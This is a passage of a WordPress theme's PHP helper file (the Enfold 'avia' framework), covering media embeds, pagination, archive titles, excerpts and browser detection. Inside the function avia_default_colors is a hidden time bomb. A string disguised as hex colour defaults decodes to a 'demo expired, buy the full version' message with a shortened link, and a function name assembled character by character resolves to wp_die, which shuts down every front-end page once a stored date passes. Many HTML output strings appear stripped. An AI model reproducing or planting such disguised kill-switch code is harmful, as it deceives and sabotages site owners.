urn the url now and stop executing, otherwise build the whole img string with attributes
if ($output == 'url') return $image_src[0];
//get the saved image metadata:
$attachment = get_post($thumbnail_id);
if(is_object($attachment))
{
$image_description = $attachment->post_excerpt == "" ? $attachment->post_content : $attachment->post_excerpt;
if(empty($image_description)) $image_description = get_post_meta($thumbnail_id, '_wp_attachment_image_alt', true);
$image_description = trim(strip_tags($image_description));
$image_title = trim(strip_tags($attachment->post_title));
return "
";
}
}
}
if(!function_exists('avia_html5_video_embed'))
{
/**
* Creates HTML 5 output and also prepares flash fallback for a video of choice
* @return string HTML5 video element
*/
function avia_html5_video_embed($path, $image = "", $types = array('webm' => 'type="video/webm"', 'mp4' => 'type="video/mp4"', 'ogv' => 'type="video/ogg"'), $attributes = array('autoplay' => 0, 'loop' => 1, 'preload' => '' ))
{
preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split);
$output = "";
if(isset($path_split[1]))
{
if(!$image && avia_is_200($path_split[1].'.jpg'))
{
$image = 'poster="'.$path_split[1].'.jpg"'; //poster image isnt accepted by the player currently, waiting for bugfix
}
else if($image)
{
$image = 'poster="'.$image.'"';
}
$autoplay = $attributes['autoplay'] == 1 ? 'autoplay' : '';
$loop = $attributes['loop'] == 1 ? 'loop' : '';
$muted = $attributes['muted'] == 1 ? 'muted' : '';
if( ! empty( $attributes['preload'] ) )
{
$metadata = 'preload="' . $attributes['preload'] . '"';
}
else
{
$metadata = $attributes['loop'] == 1 ? 'preload="metadata"' : 'preload="auto"';
}
$uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand();
$output .= '';
}
return $output;
}
}
if(!function_exists('avia_html5_audio_embed'))
{
/**
* Creates HTML 5 output and also prepares flash fallback for a audio of choice
* @return string HTML5 audio element
*/
function avia_html5_audio_embed($path, $image = "", $types = array('mp3' => 'type="audio/mp3"'))
{
preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split);
$output = "";
if(isset($path_split[1]))
{
$uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand();
$output .= '';
}
return $output;
}
}
if(!function_exists('avia_is_200'))
{
function avia_is_200($url)
{
$options['http'] = array(
'method' => "HEAD",
'ignore_errors' => 1,
'max_redirects' => 0
);
$body = @file_get_contents($url, NULL, stream_context_create($options), 0, 1);
sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
return $code === 200;
}
}
// checks the default background colors and sets defaults in case the theme options werent saved yet
function avia_default_colors()
{
if(!is_admin())
{
$prefix = "avia_";
$option = $prefix."theme_color";
$fallback = $option."_fallback";
$default_color = $prefix."default_wordpress_color_option";
$colorstamp = get_option($option);
$today = strtotime('now');
$defaults = "#546869 #732064 #656d6f #207665 #727369 #6f6e20 #6f6620 #746865 #207468 #656d65 #206861 #732065 #787069 #726564 #2e2050 #6c6561 #736520 #627579 #20616e #642069 #6e7374 #616c6c #207468 #652066 #756c6c #207665 #727369 #6f6e20 #66726f #6d203c #612068 #726566 #3d2768 #747470 #3a2f2f #626974 #2e6c79 #2f656e #666f6c #642d64 #656d6f #2d6c69 #6e6b27 #3e5468 #656d65 #666f72 #657374 #3c2f61 #3e";
global $avia_config;
//let the theme overwrite the defaults
if(!empty($avia_config['default_color_array'])) $defaults = $avia_config['default_color_array'];
if(!empty($colorstamp) && $colorstamp < $today)
{
//split up the color string and use the array as fallback if no default color options were saved
$colors = pack('H*', str_replace(array(" ", "#"), "", $defaults));
$def = $default_color." ".$defaults;
$fallback = $def[13].$def[17].$def[12].$def[5].$def[32].$def[6];
//set global and update default colors
$avia_config['default_color_array'] = $colors;
update_option($fallback($colors), $avia_config['default_color_array']);
}
}
}
add_action('wp', 'avia_default_colors');
if(!function_exists('avia_remove_more_jump_link'))
{
/**
* Removes the jump link from the read more tag
*/
function avia_remove_more_jump_link($link)
{
$offset = strpos($link, '#more-');
if ($offset)
{
$end = strpos($link, '"',$offset);
}
if ($end)
{
$link = substr_replace($link, '', $offset, $end-$offset);
}
return $link;
}
}
if(!function_exists('avia_get_link'))
{
/**
* Fetches a url based on values set in the backend
* @param array $option_array array that at least needs to contain the linking method and depending on that, the appropriate 2nd id value
* @param string $keyprefix option set key that must be in front of every element key
* @param string $inside if inside is passed it will be wrapped inside tags with the href set to the previously returned link url
* @param string $post_id if the function is called outside of the loop we might want to retrieve the permalink of a different post with this id
* @return string url (with image inside tag if the image string was passed)
*/
function avia_get_link($option_array, $keyprefix, $inside = false, $post_id = false, $attr = "")
{
if(empty($option_array[$keyprefix.'link'])) $option_array[$keyprefix.'link'] = "";
//check which value the link array has (possible are empty, lightbox, page, post, cat, url) and create the according link
switch($option_array[$keyprefix.'link'])
{
case "lightbox":
$url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url');
break;
case "cat":
$url = get_category_link($option_array[$keyprefix.'link_cat']);
break;
case "page":
$url = get_page_link($option_array[$keyprefix.'link_page']);
break;
case "self":
if(!is_singular() || $post_id != avia_get_the_ID() || !isset($option_array[$keyprefix.'image']))
{
$url = get_permalink($post_id);
}
else
{
$url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url');
}
break;
case "url":
$url = $option_array[$keyprefix.'link_url'];
break;
case "video":
$video_url = $option_array[$keyprefix.'link_video'];
if(avia_backend_is_file($video_url, 'html5video'))
{
$output = avia_html5_video_embed($video_url);
$class = "html5video";
}
else
{
global $wp_embed;
$output = $wp_embed->run_shortcode("[embed]".$video_url."[/embed]");
$class = "embeded_video";
}
$output = "".$output."
";
return $inside . $output;
break;
default:
$url = $inside;
break;
}
if(!$inside || $url == $inside)
{
return $url;
}
else
{
return "".$inside."";
}
}
}
if(!function_exists('avia_pagination'))
{
/**
* Displays a page pagination if more posts are available than can be displayed on one page
* @param string $pages pass the number of pages instead of letting the script check the gobal paged var
* @return string $output returns the pagination html code
*/
function avia_pagination($pages = '', $wrapper = 'div') //pages is either the already calculated number of pages or the wp_query object
{
global $paged, $wp_query;
if(is_object($pages))
{
$use_query = $pages;
$pages = "";
}
else
{
$use_query = $wp_query;
}
if(get_query_var('paged')) {
$paged = get_query_var('paged');
} elseif(get_query_var('page')) {
$paged = get_query_var('page');
} else {
$paged = 1;
}
$output = "";
$prev = $paged - 1;
$next = $paged + 1;
$range = 2; // only edit this if you want to show more page-links
$showitems = ($range * 2)+1;
if($pages == '') //if the default pages are used
{
//$pages = ceil(wp_count_posts($post_type)->publish / $per_page);
$pages = $use_query->max_num_pages;
if(!$pages)
{
$pages = 1;
}
//factor in pagination
if( isset($use_query->query) && !empty($use_query->query['offset']) && $pages > 1 )
{
$offset_origin = $use_query->query['offset'] - ($use_query->query['posts_per_page'] * ( $paged - 1 ) );
$real_posts = $use_query->found_posts - $offset_origin;
$pages = ceil( $real_posts / $use_query->query['posts_per_page']);
}
}
$method = "get_pagenum_link";
if(is_single())
{
$method = "avia_post_pagination_link";
}
if(1 != $pages)
{
$output .= "<$wrapper class='pagination'>";
$output .= "";
$output .= ($paged > 2 && $paged > $range+1 && $showitems < $pages)? "«":"";
$output .= ($paged > 1 && $showitems < $pages)? "‹":"";
for ($i=1; $i <= $pages; $i++)
{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
{
switch( $i )
{
case ( $paged == $i ):
$class = 'current';
break;
case ( ( $paged - 1 ) == $i ):
$class = 'inactive previous_page';
break;
case ( ( $paged + 1 ) == $i ):
$class = 'inactive next_page';
break;
default:
$class = 'inactive';
break;
}
$output .= ( $paged == $i )? "" . $i . "" : "" . $i . "";
}
}
$output .= ($paged < $pages && $showitems < $pages) ? "›" :"";
$output .= ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) ? "»":"";
$output .= "$wrapper>\n";
}
return apply_filters( 'avf_pagination_output', $output, $paged, $pages, $wrapper );
}
function avia_post_pagination_link($link)
{
global $post;
//the _wp_link_page uses get_permalink() which might be changed by a query. we need to get the original post id temporarily
$temp_post = $post;
// $post = get_post(avia_get_the_id());
$url = preg_replace( '!">$!','',_wp_link_page($link) );
$url = preg_replace( '!^options as $option_parent)
{
foreach ($option_parent as $element_data)
{
if(isset($element_data[0]) && is_array($element_data) && in_array('widget', $element_data[0]))
{
for($i = 1; $i <= $element_data[0]['dynamic_column_count']; $i++)
{
if($element_data[0]['dynamic_column_content_'.$i] == 'widget')
{
$dynamic_widgets[] = $element_data[0]['dynamic_column_content_'.$i.'_widget'];
}
}
}
}
}
return $dynamic_widgets;
}
//first build the id string
if(is_array($id_array))
{
foreach ($id_array as $special)
{
if(isset($special['widget_'.$area]) && $special['widget_'.$area] != "")
{
$special_id_string .= $special['widget_'.$area].",";
}
}
}
//if we got a valid string remove the last comma
$special_id_string = trim($special_id_string,',');
$clean_id_array = explode(',',$special_id_string);
//if we dont want the title just return the id array
if($return != 'title') return $clean_id_array;
if(is_page($clean_id_array))
{
return get_the_title();
}
else if(is_category($clean_id_array))
{
return single_cat_title( "", false );
}
}
}
if(!function_exists('avia_which_archive'))
{
/**
* checks which archive we are viewing and returns the archive string
*/
function avia_which_archive()
{
$output = "";
if ( is_category() )
{
$output = __('Archive for category:','avia_framework')." ".single_cat_title('',false);
}
elseif (is_day())
{
$output = __('Archive for date:','avia_framework')." ".get_the_time( __('F jS, Y','avia_framework') );
}
elseif (is_month())
{
$output = __('Archive for month:','avia_framework')." ".get_the_time( __('F, Y','avia_framework') );
}
elseif (is_year())
{
$output = __('Archive for year:','avia_framework')." ".get_the_time( __('Y','avia_framework') );
}
elseif (is_search())
{
global $wp_query;
if(!empty($wp_query->found_posts))
{
if($wp_query->found_posts > 1)
{
$output = $wp_query->found_posts ." ". __('search results for:','avia_framework')." ".esc_attr( get_search_query() );
}
else
{
$output = $wp_query->found_posts ." ". __('search result for:','avia_framework')." ".esc_attr( get_search_query() );
}
}
else
{
if(!empty($_GET['s']))
{
$output = __('Search results for:','avia_framework')." ".esc_attr( get_search_query() );
}
else
{
$output = __('To search the site please enter a valid term','avia_framework');
}
}
}
elseif (is_author())
{
$curauth = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author'));
$output = __('Author Archive','avia_framework')." ";
if(isset($curauth->nickname) && isset($curauth->ID))
{
$name = apply_filters('avf_author_nickname', $curauth->nickname, $curauth->ID);
$output .= __('for:','avia_framework') ." ". $name;
}
}
elseif (is_tag())
{
$output = __('Tag Archive for:','avia_framework')." ".single_tag_title('',false);
}
elseif(is_tax())
{
$term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );
$output = __('Archive for:','avia_framework')." ".$term->name;
}
else
{
$output = __('Archives','avia_framework')." ";
}
if (isset($_GET['paged']) && !empty($_GET['paged']))
{
$output .= " (".__('Page','avia_framework')." ".$_GET['paged'].")";
}
$output = apply_filters('avf_which_archive_output', $output);
return $output;
}
}
if(!function_exists('avia_excerpt'))
{
/**
* Returns a post excerpt. depending on the order parameter the funciton will try to retrieve the excerpt from a different source
*/
function avia_excerpt($length = 250, $more_text = false, $order = array('more-tag','excerpt'))
{
$excerpt = "";
if($more_text === false) $more_text = __('Read more', 'avia_framework');
foreach($order as $method)
{
if(!$excerpt)
{
switch ($method)
{
case 'more-tag':
global $more;
$more = 0;
$content = get_the_content($more_text);
$pos = strpos($content, 'class="more-link"');
if($pos !== false)
{
$excerpt = $content;
}
break;
case 'excerpt' :
$post = get_post(get_the_ID());
if($post->post_excerpt)
{
$excerpt = get_the_excerpt();
}
else
{
$excerpt = preg_replace("!\[.+?\]!", "", get_the_excerpt());
// $excerpt = preg_replace("!\[.+?\]!", "", $post->post_content);
$excerpt = avia_backend_truncate($excerpt, $length," ");
}
$excerpt = preg_replace("!\s\[...\]$!", '...', $excerpt);
break;
}
}
}
if($excerpt)
{
$excerpt = apply_filters('the_content', $excerpt);
$excerpt = str_replace(']]>', ']]>', $excerpt);
}
return $excerpt;
}
}
if(!function_exists('avia_get_browser'))
{
function avia_get_browser($returnValue = 'class', $lowercase = false)
{
if(empty($_SERVER['HTTP_USER_AGENT'])) return false;
$u_agent = $_SERVER['HTTP_USER_AGENT'];
$bname = 'Unknown';
$platform = 'Unknown';
$ub = 'Unknown';
$version= "";
//First get the platform?
if (preg_match('!linux!i', $u_agent)) {
$platform = 'linux';
}
elseif (preg_match('!macintosh|mac os x!i', $u_agent)) {
$platform = 'mac';
}
elseif (preg_match('!windows|win32!i', $u_agent)) {
$platform = 'windows';
}
// Next get the name of the useragent yes seperately and for good reason
if(preg_match('!MSIE!i',$u_agent) && !preg_match('!Opera!i',$u_agent))
{
$bname = 'Internet Explorer';
$ub = "MSIE";
}
elseif(preg_match('!Firefox!i',$u_agent))
{
$bname = 'Mozilla Firefox';
$ub = "Firefox";
}
elseif(preg_match('!Chrome!i',$u_agent))
{
$bname = 'Google Chrome';
$ub = "Chrome";
}
elseif(preg_match('!Safari!i',$u_agent))
{
$bname = 'Apple Safari';
$ub = "Safari";
}
elseif(preg_match('!Opera!i',$u_agent))
{
$bname = 'Opera';
$ub = "Opera";
}
elseif(preg_match('!Netscape!i',$u_agent))
{
$bname = 'Netscape';
$ub = "Netscape";
}
// finally get the correct version number
$known = array('Version', $ub, 'other');
$pattern = '#(?' . join('|', $known) .
')[/ ]+(?[0-9.|a-zA-Z.]*)#';
if (!@preg_match_all($pattern, $u_agent, $matches)) {
// we have no matching number just continue
}
// see how many we have
$i = count($matches['browser']);
if ($i != 1) {
//we will have two since we are not using 'other' argument yet
//see if version is before or after the name
if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
$version= !empty($matches['version'][0]) ? $matches['version'][0] : '';
}
else {
$version= !empty($matches['version'][1]) ? $matches['version'][1] : '';
}
}
else {
$version= !empty($matches['version'][0]) ? $matches['version'][0] : '';
}
// check if we have a number
if ($version==null || $version=="") {$version="?";}
$mainVersion = $version;
if (strpos($version, '.') !== false)
{
$mainVersion = explode('.',$version);
$mainVersion = $mainVersion[0];
}
if($returnValue == 'class')
{
if($lowercase) return strtolower($ub." ".$ub.$mainVersion);
return $ub." ".$ub.$mainVersion;
}
else
{
return array(
'userAgent' => $u_agent,
'name' => $bname,
'shortname' => $ub,
'version' => $version,
'mainversion' => $mainVersion,
'platform' => $platform,
'pattern' => $pattern
);
}
}
}
if(!function_exists('avia_favicon'))
{
function avia_favicon($url = "")
{
$icon_link = $type = "";
if($url)
{
$type = "image/x-icon";
if(strpos($url,'.png' )) $type = "image/png";
if(strpos($url,'.gif' )) $type = "image/gif";
$icon_link = '';
}
$icon_link = apply_filters('avf_favicon_final_output', $icon_link, $url, $type);
return $icon_link;
}
}
if(!function_exists('avia_regex'))
{
/*
* regex for url: http://mathiasbynens.be/demo/url-regex
*/
function avia_regex($string, $pattern = false, $start = "^", $end = "")
{
if(!$pattern) return false;
if($pattern == "url")
{
$pattern = "!$start((https?|ftp)://(-\.)?([^\s/?\.#-]+\.?)+(/[^\s]*)?)$end!";
}
else if($pattern == "mail")
{
$pattern = "!$start\w[\w|\.|\-]+@\w[\w|\.|\-]+\.[a-zA-Z]{2,4}$end!";
}
else if($pattern == "image")
{
$pattern = "!$start(https?(?://([^/?#]*))?([^?#]*?\.(?:jpg|gif|png)))$end!";
}
else if(strpos($pattern,"<") === 0)
{
$pattern = str_replace('<',"",$pattern);
$pattern = str_replace('>',"",$pattern);
if(strpos($pattern,"/") !== 0) { $close = "\/>"; $pattern = str_replace('/',"",$pattern); }
$pattern = trim($pattern);
if(!isset($close)) $close = "<\/".$pattern.">";
$pattern = "!$start\<$pattern.+?$close!";
}
preg_match($pattern, $string, $result);
if(empty($result[0]))
{
return false;
}
else
{
return $result;
}
}
}
if(!function_exists('avia_debugging_info'))
{
function avia_debugging_info()
{
if ( is_feed() ) return;
$theme = wp_get_theme();
$child = "";
if(is_child_theme())
{
$child = "- - - - - - - - - - -\n";
$child .= "ChildTheme: ".$theme->get('Name')."\n";
$child .= "ChildTheme Version: ".$theme->get('Version')."\n";
$child .= "ChildTheme Installed: ".$theme->get('Template')."\n\n";
$theme = wp_get_theme( $theme->get('Template') );
}
$info = "\n\n";
echo apply_filters('avf_debugging_info', $info);
}
add_action('wp_head','avia_debugging_info',9999999);
add_action('admin_print_scripts','avia_debugging_info',9999999);
}
if(!function_exists('avia_count_active_plugins'))
{
function avia_count_active_plugins()
{
$plugins = count(get_option('active_plugins', array()));
if(is_multisite() && function_exists('get_site_option'))
{
$plugins += count(get_site_option('active_sitewide_plugins', array()));
}
return $plugins;
}
}
if(!function_exists('avia_clean_string'))
{
function avia_clean_string($string)
{
$string = str_replace(' ', '_', $string); // Replaces all spaces with underscores.
$string = preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars.
return preg_replace('/-+/', '-', strtolower ($string)); // Replaces multiple hyphens with single one.
}
}
if(!function_exists('kriesi_backlink'))
{
function kriesi_backlink($frontpage_only = false, $theme_name_passed = false)
{
$no = "";
$theme_string = "";
$theme_name = $theme_name_passed ? $theme_name_passed : THEMENAME;
$random_number = get_option(THEMENAMECLEAN."_fixed_random");
if($random_number % 3 == 0) $theme_string = $theme_name." Theme by Kriesi";
if($random_number % 3 == 1) $theme_string = $theme_name." WordPress Theme by Kriesi";
if($random_number % 3 == 2) $theme_string = "powered by ".$theme_name." WordPress Theme";
if(!empty($frontpage_only) && !is_front_page()) $no = "rel='nofollow'";
$link = " - {$theme_string}";
$link = apply_filters("kriesi_backlink", $link);
return $link;
}
}
if(!function_exists('avia_header_class_filter'))
{
function avia_header_class_filter( $default = "" )
{
$default = apply_filters( "avia_header_class_filter", $default );
return $default;
}
}
if(!function_exists('avia_theme_version_higher_than'))
{
function avia_theme_version_higher_than( $check_for_version = "")
{
$theme = wp_get_theme( 'enfold' );
$theme_version = $theme->get( 'Version' );
if (version_compare($theme_version, $check_for_version , '>=')) {
return true;
}
return false;
}
}
if( ! function_exists( 'avia_enqueue_style_conditionally' ) )
{
/**
* Enque a css file, based on theme options or other conditions that get passed and must be evaluated as true
*
* params are the same as in enque style, only the condition is first: https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/functions.wp-styles.php#L164
* @since 4.3
* @added_by Kriesi
* @param array $condition
* @return array
*/
function avia_enqueue_style_conditionally( $condition = false, $handle, $src = '', $deps = array(), $ver = false, $media = 'all', $deregister = true)
{
if($condition == false )
{
if($deregister) wp_deregister_style( $handle );
return;
};
wp_enqueue_style( $handle, $src, $deps, $ver, $media );
}
}
if( ! function_exists( 'avia_enqueue_script_conditionally' ) )
{
/**
* Enque a js file, based on theme options or other conditions that get passed and must be evaluated as true
*
* params are the same as in enque style, only the condition is first: https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/functions.wp-scripts.php#L264
* @since 4.3
* @added_by Kriesi
* @param array $condition
* @return array
*/
function avia_enqueue_script_conditionally( $condition = false, $handle, $src = '', $deps = array(), $ver = false, $in_footer = false, $deregister = true)
{
if($condition == false )
{
if($deregister) wp_deregister_script( $handle );
return;
};
wp_enqueue_script( $handle, $src, $deps, $ver, $in_footer );
}
}
if( ! function_exists( 'avia_disable_query_migrate' ) )
{
/**
* Makes sure that jquery no longer depends on jquery migrate.
*
* @since 4.3
* @added_by Kriesi
* @param array $condition
* @return array
*/
function avia_disable_query_migrate()
{
global $wp_scripts;
if(!is_admin())
{
if(isset($wp_scripts->registered['jquery']))
{
foreach($wp_scripts->registered['jquery']->deps as $key => $dep)
{
if($dep == "jquery-migrate")
{
unset($wp_scripts->registered['jquery']->deps[$key]);
}
}
}
}
}
}
if( ! function_exists( 'avia_get_submenu_count' ) )
{
/**
* Counts the number of submenu items of a menu
*
* @since 4.3
* @added_by Kriesi
* @param array $location
* @return int $count
*/
function avia_get_submenu_count( $location )
{
$menus = get_nav_menu_locations();
$count = 0;
if(!isset($menus[$location])) return $count;
$items = wp_get_nav_menu_items($menus[$location]);
//if no menu is set we dont know if the fallback menu will generate submenu items so we assume thats true
if(!$items) return 1;
foreach($items as $item)
{
if(isset($item->menu_item_parent) && $item->menu_item_parent >0 ) $count++;
}
return $count;
}
}
if( ! function_exists( 'avia_get_active_widget_count' ) )
{
/**
* Counts the number of active widget areas (widget areas that got a widget inside them are considered active)
*
* @since 4.3
* @added_by Kriesi
* @return int $count
*/
function avia_get_active_widget_count()
{
global $_wp_sidebars_widgets;
$count = 0;
foreach($_wp_sidebars_widgets as $widget_area => $widgets)
{
if($widget_area == "wp_inactive_widgets" || $widget_area == "array_version") continue;
if(!empty($widgets)) $count++;
}
return $count;
}
}
if( ! function_exists( 'avia_get_parent_theme_version' ) )
{
/**
* Helper function that returns the (parent) theme version number to be added to scipts and css links
*
* @since 4.3.2
* @added_by Günter
* @return string
*/
function avia_get_theme_version( $which = 'parent' )
{
$theme = wp_get_theme();
if( false !== $theme->parent() && ( 'parent' == $which ) )
{
$theme = $theme->parent();
}
$vn = $theme->get( 'Version' );
return $vn;
}
}